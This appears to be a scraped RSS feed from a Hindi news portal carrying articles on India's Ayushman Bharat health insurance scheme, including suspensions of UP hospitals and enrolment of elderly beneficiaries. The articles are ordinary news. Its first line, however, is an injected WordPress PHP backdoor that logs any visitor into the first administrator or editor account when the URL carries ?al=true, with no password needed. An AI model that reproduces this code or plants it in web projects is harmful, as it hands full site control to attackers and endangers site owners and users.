// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Ayushman Bharat – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Fri, 15 May 2026 15:02:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 यूपी में आयुष्मान योजना के तहत 200 निजी अस्पतालों पर बड़ी कार्रवाई, 100 का रजिस्ट्रेशन निलंबित https://pratyushaashakinayikiran.com/?p=219776 Fri, 15 May 2026 15:02:00 +0000 https://pratyushaashakinayikiran.com/?p=219776 लखनऊ

आयुष्मान भारत प्रधानमंत्री जन आरोग्य योजना के तहत निर्धारित मानकों का पालन नहीं करने वाले यूपी के 200 प्राइवेट अस्पतालों पर बड़ी कार्रवाई की गई है। सीएम योगी के निर्देश पर आयुष्मान योजना के तहत रजिस्टर्ड 100 अस्पतालों का रजिस्ट्रेशन निलंबित कर दिया गया है। साथ ही 100 अस्पतालों का भुगतान भी रोका गया है। सीएम योगी की इस कार्रवाई से अन्य अस्पतालों में हड़कंप मचा है। सीईओ अर्चना वर्मा ने बताया कि आयुष्मान भारत प्रधानमंत्री जन आरोग्य योजना देश के आर्थिक रूप से कमजोर और वंचित वर्गों को निःशुल्क एवं गुणवत्तापूर्ण स्वास्थ्य सेवाएं उपलब्ध कराने की एक महत्वपूर्ण योजना है। मुख्यमंत्री योगी आदित्यनाथ के निर्देश पर प्रदेश में इसे अधिक प्रभावी, पारदर्शी और विश्वसनीय बनाने के लिए समय-समय पर सुधारात्मक कदम उठाए जा रहे हैं। इसी दिशा में अस्पतालों की सूचीबद्धता और गुणवत्ता परीक्षण की प्रक्रिया को और अधिक सख्त बनाया गया है।

सीएम योगी आदित्यनाथ के निर्देश हैं कि योजना के लाभार्थियों को बेहतर और गुणवत्तापूर्ण इलाज उपलब्ध कराने में किसी भी प्रकार की लापरवाही बर्दाश्त नहीं की जाएगी। योगी सरकार द्वारा अस्पताल इम्पैनलमेंट मॉड्यूल (एचईएम) पोर्टल के माध्यम से सूचीबद्ध अस्पतालों का सत्यापन निर्धारित मानकों के आधार पर किया जा रहा है। नई व्यवस्था के तहत अस्पतालों के लिए 35 महत्वपूर्ण मानकों को पूरा करना अनिवार्य किया गया है। इनमें अस्पताल का पंजीकरण प्रमाणपत्र, फायर सेफ्टी एनओसी, आवश्यक इंफ्रास्ट्रक्चर, चिकित्सकों की शैक्षणिक योग्यता, एचएफआर पंजीकरण सहित अन्य जरूरी दस्तावेज और व्यवस्थाएं शामिल हैं।

200 निजी चिकित्सालयों ने मानकों के अनुरूप नहीं पूरी की प्रक्रिया
सीईओ ने बताया कि नेशनल हेल्थ अथॉरिटी और स्टेट हेल्थ एजेंसी की ओर से ई-मेल, दूरभाष, संदेश, पत्राचार और वर्चुअल बैठकों के माध्यम से अस्पतालों को हर स्तर पर सहायता दी गई। इसका सकारात्मक परिणाम यह रहा कि अब तक 95 प्रतिशत से अधिक अस्पताल सफलतापूर्वक एचईएम 2.0 पोर्टल पर माइग्रेट हो चुके हैं। हालांकि, कुछ निजी अस्पतालों ने निर्धारित समयसीमा के भीतर प्रक्रिया पूरी नहीं की। योगी सरकार की ओर से उन्हें कई बार अवसर दिए गए, लेकिन इसके बावजूद करीब 200 निजी चिकित्सालयों ने मानकों के अनुरूप प्रक्रिया पूरी नहीं की।

इनमें आगरा, अलीगढ़, प्रयागराज, अमेठी, अमरोहा, आजमगढ़, बागपत, बांदा, बाराबंकी, बरेली, बस्ती, बिजनौर, बुलंदशहर, चंदौली, चित्रकूट, देवरिया, फर्रुखाबाद, गौतमबुद्ध नगर, गाजियाबाद, गोंडा, गोरखपुर, हरदोई, हाथरस, जौनपुर, झांसी, कन्नौज, कानपुर नगर, कुशीनगर, ललितपुर, लखनऊ, मथुरा, मऊ, मेरठ, मुरादाबाद, मुजफ्फरनगर, सहारनपुर, प्रतापगढ़, संतकबीरनगर, सुल्तानपुर, वाराणसी, शाहजहांपुर, जालौन, मिर्जापुर, अंबेडकरनगर, रामपुर और सोनभद्र सहित कई जिलों के अस्पताल शामिल हैं।

100 निजी अस्पतालों का रोका गया भुगतान
सीएम योगी के निर्देश पर ऐसे अस्पतालों के खिलाफ सख्त कार्रवाई करते हुए 100 अस्पतालों का भुगतान रोक दिया गया है, जबकि करीब 100 अन्य अस्पतालों को योजना से निलंबित कर दिया गया है। यह कार्रवाई यह सुनिश्चित करने के लिए की गई है कि आयुष्मान योजना के लाभार्थियों को केवल मानक आधारित और गुणवत्तापूर्ण चिकित्सा सेवाएं ही प्राप्त हों। बता दें कि योगी सरकार ने सभी सूचीबद्ध अस्पतालों को एनएबीएच गुणवत्ता प्रमाणन प्राप्त करने के लिए भी निर्देश जारी किए हैं। इसके साथ ही राज्य और जिला स्तर पर अस्पतालों की नियमित ऑडिट और मॉनिटरिंग भी कराई जा रही है, ताकि किसी भी प्रकार की अनियमितता को समय रहते रोका जा सके। सरकार स्वास्थ्य सेवाओं में तकनीक के अधिकतम उपयोग पर भी विशेष जोर दे रही है। अस्पतालों में डिजिटल माध्यम से मरीजों के निस्तारण को अधिक सरल और पारदर्शी बनाने के लिए एबीडीएम सक्षम एचएमआईएस प्रणाली लागू करने के निर्देश दिए गए हैं।

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20 हजार 199 से अधिक गैस पीड़ितों के बनाए गए आयुष्मान कार्ड https://pratyushaashakinayikiran.com/?p=106930 Fri, 06 Dec 2024 21:10:00 +0000 https://pratyushaashakinayikiran.com/?p=106930 भोपाल

भोपाल गैस पीड़ितों और उनके बच्चों को स्वास्थ्य सुविधाओं का लाभ पहुंचाने के लिए राज्य सरकार तत्पर है। गैस पीड़ितों के लिए आयुष्मान भारत ‘निरामयम’ मध्यप्रदेश योजना के तहत 5 दिसम्बर तक 20 हजार 199 आयुष्मान कार्ड बनाए जा चुके हैं।

गैस पीड़ितों और उनके बच्चों के लिए भोपाल गैस त्रासदी राहत एवं पुनर्वास विभाग के तहत 6 अस्पताल और 9 औषधालय भी संचालित किए जा रहे हैं, जहां सभी प्रकार की जांच, उपचार और आवश्यक सुविधाएं निशुल्क उपलब्ध हैं। साथ ही आयुष्मान योजना के अंतर्गत भोपाल गैस राहत विभाग से अनुबंधित सभी अस्पतालों में भी गैस पीड़ितों को आवश्यकतानुसार चिकित्सा सुविधाएँ दी जा रही हैं।

गंभीर बीमारियों के विशेष इलाज

किडनी, लीवर ट्रांसप्लांट और कैंसर जैसी गंभीर बीमारियों से पीड़ित के इलाज के लिए भी विशेष व्यवस्था की गई है। कैंसर उपचार के लिए विभाग ने एम्स भोपाल और 3 निजी अस्पतालों के साथ अनुबंध किया है। इसके अतिरिक्त कमला नेहरू अस्पताल में डायलिसिस यूनिट की स्थापना की गई है, जहां 13 डायलिसिस मशीनों के जरिये पीड़ित मरीजों का नि:शुल्क उपचार किया जा रहा है।

अत्याधुनिक आपातकालीन सेवाएं भी जारी

भोपाल गैस राहत विभाग के सभी अस्पतालों में 24×7 इमरजेंसी यूनिट संचालित की जा रही है। इन यूनिट्स में गैस पीड़ितों और उनके बच्चों को तुरंत और उन्नत चिकित्सा सेवाएं, सुविधाएं उपलब्ध कराई जा रही हैं।

गैस प्रभावित विधवाओं (कल्याणियों) को राज्य सरकार द्वारा विशेष राहत दी जा रही है। इन्हें सामाजिक सुरक्षा पेंशन के अतिरिक्त 1,000 रुपये मासिक पेंशन दी जा रही है। वर्तमान में 4 हजार 406 विधवाओं को पेंशन का लाभ दिया जा रहा है। राज्य सरकार भोपाल गैस पीड़ितों के स्वास्थ्य और सामाजिक कल्याण के लिए प्रतिबद्ध है। सरकार का प्रमुख लक्ष्य कल्याण योजनाओं के तेज क्रियान्वयन और चिकित्सा सुविधाओं के विस्तार से गैस पीड़ितों के जीवन स्तर में त्वरित सुधार लाना है।

 

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आयुष्मान की नई योजना के एक हफ्ते में 2 लाख बुजुर्गों का हुआ रजिस्ट्रेशन, सबसे ज्यादा केरल से https://pratyushaashakinayikiran.com/?p=97380 Tue, 12 Nov 2024 09:06:00 +0000 https://pratyushaashakinayikiran.com/?p=97380 नई दिल्ली

केंद्र सरकार ने कुछ समय पहले ही आयुष्मान भारत योजना का विस्तार करते हुए इसमें अहम बदलाव किया. योजना में 70 साल से अधिक उम्र के बुजुर्गों को भी शामिल किया गया है. इस बदलाव के महज एक हफ्ते बाद ही जो आंकड़े निकलकर सामने आए हैं, वो उत्साहजनक है. केवल एक सप्ताह में ही 2 लाख से ज्यादा बुजुर्ग इस योजना से जुड़ गए हैं.

प्रमुख स्वास्थ्य बीमा योजना के विस्तारित संस्करण को शुरू करने के पहले सप्ताह के भीतर 70 वर्ष से अधिक आयु के 2.16 लाख से अधिक नए लाभार्थियों को आयुष्मान भारत प्रधानमंत्री जन आरोग्य योजना (AB-PMJAY) के तहत कार्ड प्राप्त हुए हैं.

केरल से सबसे अधिक पंजीकरण

राष्ट्रीय स्वास्थ्य प्राधिकरण के पास 7 नवंबर तक उपलब्ध आंकड़ों के अनुसार, विस्तारित संस्करण के तहत केरल से सबसे अधिक नए लाभार्थियों ने पंजीकरण करवाया है, जहां बुजुर्गों के लिए लगभग 89,800 कार्ड जारी किए गए हैं. संयोग से, यह राज्य उन राज्यों में से है, जहां अगले दशक में बुज़ुर्ग नागरिकों का अनुपात सबसे ज़्यादा होने का अनुमान है. 2031 तक केरल में 60 वर्ष से ज़्यादा उम्र के लोगों की संख्या की आबादी 20.9% होने की उम्मीद है.

नए बुज़ुर्ग लाभार्थियों की सूची में केरल के बाद राज्य मध्य प्रदेश और उत्तर प्रदेश का नंबर आता है जहां से क्रमशः 53,000 और 47,000 बुजुर्ग योजना से जुड़े हैं. आंध्र प्रदेश, तेलंगाना और तमिलनाडु जैसे राज्यों के लोगों की संख्या कम है. पिछले एक सप्ताह में आंध्र प्रदेश के 3488, तेलंगाना के 3056 और तमिलनाडु के 3156 बुजुर्ग इस योजना से जुड़े हैं.

बंगाल और दिल्ली के बुजुर्ग इस वजह से नहीं ले सकेंगे लाभ

इन आंकड़ों में AAP शासित दिल्ली और TMC शासित पश्चिम बंगाल शामिल नहीं हैं, जिन्होंने इस योजना से बाहर निकलने का विकल्प चुना है.  29 अक्टूबर को विस्तारित संस्करण को लागू करने के दौरान, प्रधानमंत्री ने खेद व्यक्त किया था कि इन दोनों राज्यों में बुजुर्ग नागरिक इससे बाहर रह गए हैं.

हालांकि, पंजाब की AAP शासित सरकार ने विस्तारित संस्करण को लागू किया है. यहां के एक वरिष्ठ अधिकारी ने कहा कि राज्य ने पिछले सप्ताह बुजुर्गों को 5,697 नए कार्ड जारी किए हैं, जो टॉप टेन की सूची में शामिल है.

आपको बता दें कि आयुष्मान भारत योजना को साल 2018 में पहली बार लॉन्च किया गया था जो दुनिया का सबसे बड़ा स्वास्थ्य बीमा कार्यक्रम है. इस योजना के तहत, लोगों को सालाना 5 लाख रुपये तक के मुफ्त इलाज की सुविधा मिलती है. हाल ही में केंद्र सरकार ने योजना का विस्तार करते हुए 0 वर्ष और उससे ज्यादा आयु के सभी वरिष्ठ नागरिकों को भी इसमें शामिल किया है.

सरकार का मकसद

केंद्र सरकार की नवीनतम पहल का उद्देश्य 6 करोड़ वरिष्ठ नागरिकों वाले लगभग 4.5 करोड़ परिवारों को लाभ पहुंचाना है. विस्तारित संस्करण के तहत, 70 वर्ष या उससे अधिक आयु के सभी लोग, चाहे उनकी आय कुछ भी हो, वह 5 लाख रुपये के कवर पाने के हकदार होंगे.

जिन लोगों के पास पहले से आयुष्मान कार्ड है, उन्हें नए कार्ड के लिए फिर से आवेदन करना होगा और अपना EKYC फिर से पूरा करना होगा. AB-PMJAY के तहत पहले से ही कवर परिवारों से संबंधित 70 वर्ष और उससे ज्यादा आयु के वरिष्ठ नागरिकों को अपने लिए प्रति वर्ष 5 लाख रुपये तक का अतिरिक्त टॉप-अप कवर मिलेगा. इसे उन्हें परिवार के अन्य सदस्यों के साथ साझा नहीं करना होगा.
 

 

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सरकार की आयुष्मान भारत योजना में बदलाव की तैयारी, 10 लाख का मुफ्त इलाज,महिलाओं को खास लाभ https://pratyushaashakinayikiran.com/?p=63201 Fri, 23 Aug 2024 09:05:00 +0000 https://pratyushaashakinayikiran.com/?p=63201 नईदिल्ली
आयुष्मान भारत के तहत बीमा कवर को दोगुना करके 10 लाख रुपये और महिलाओं के लिए 15 लाख रुपये तक करने की तैयारी चल रही है। इस योजना के तहत प्राइवेट अस्पताल के 4 लाख बिस्तरों को जोड़ने के साथ-साथ लाभार्थियों की संख्या 55 करोड़ से बढ़ाकर 100 करोड़ करने की तैयारी केंद्र सरकार के द्वारा की जा रही है। एनडीए सरकार के तीसरे कार्यकाल में केंद्रीय स्वास्थ्य मंत्रालय की प्रमुख प्राथमिकताओं के रूप में इस योजना पेश किया गया है।

सचिवों के समूह (GoS) ने इस योजना पर रिपोर्ट पेश कर दिया है। अगले पांच वर्षों के लिए लक्ष्य और उनकी उपलब्धि के लिए समयसीमा निर्धारित करने का काम सौंपा गया है। सामाजिक क्षेत्र के लिए बनी GoS में स्वास्थ्य, आयुष, खेल, संस्कृति और शिक्षा सहित नौ मंत्रालय शामिल हैं। जल्द ही कैबिनेट सचिव के समक्ष एक प्रेजेंटेशन देने की संभावना है।

आयुष्मान भारत योजना नरेंद्र मोदी सरकार की प्रमुख स्वास्थ्य योजना है। इसे दुनिया की सबसे बड़ी योजना बताया जाता है। वर्तमान में यह 12.34 करोड़ परिवारों को कवर करते हैं। 55 करोड़ लाभार्थियों को इसका लाभ मिल रहा है। प्रति परिवार 5 लाख रुपये का वार्षिक कवरेज प्रदान करता है। 30 जून तक इस योजना के तहत 7.37 करोड़ लोगों ने अस्पताल में इस योजना का लाभ उठाया। अब तक 1 लाख करोड़ रुपये खर्च किए जा रहे हैं।

भाजपा इस योजना को एनडीए सरकार की सफलता की कहानियों में से एक मानती है और इस साल लोकसभा चुनावों के लिए पार्टी के घोषणापत्र में भी 70 वर्ष से अधिक आयु के सभी नागरिकों को इसका कवरेज बढ़ाने का वादा किया गया है। सचिवों के विभिन्न समूहों को भाजपा के ‘संकल्प पत्र’ से लक्ष्यों को मैप करने और इसके लिए चुनाव समयसीमा की कल्पना करने का काम सौंपा गया था।

नई रिपोर्ट के मुताबिक, वार्षिक बीमा कवर की राशि को बढ़ाकर 10 लाख रुपये प्रति परिवार किया जा सकता है। वहीं, महिलाओं के मामले में विशिष्ट बीमारियों और विशिष्ट परिस्थितियों के लिए इस कवर को 15 लाख रुपये तक बढ़ाया जा सकता है। आपको बता दें कि कुल आयुष्मान कार्डों में से लगभग 49% महिलाएं हैं। वहीं, अस्पताल में भर्ती होने वालों में लगभग 48% महिलाएं हैं।

इसके अलावा, लाभार्थियों की संख्या बढ़ाकर 100 करोड़ करने और प्राइवेट अस्पताल के बेडों की संख्या में 4 लाख की वृद्धि का लक्ष्य रखा गया है। वर्तमान में प्रधानमंत्री जन आरोग्य योजना के तहत लगभग 7.22 लाख बिस्तर हैं।

मंत्रालय के सूत्रों के अनुसार, नीति आयोग के सदस्य वी के पॉल की अध्यक्षता में गठित समिति की सिफारिशों पर विचार करने के बाद ही उपरोक्त प्रस्तावों को औपचारिक रूप दिया जाएगा और वित्त मंत्रालय तथा मंत्रिमंडल के समक्ष मंजूरी के लिए भेजा जाएगा।

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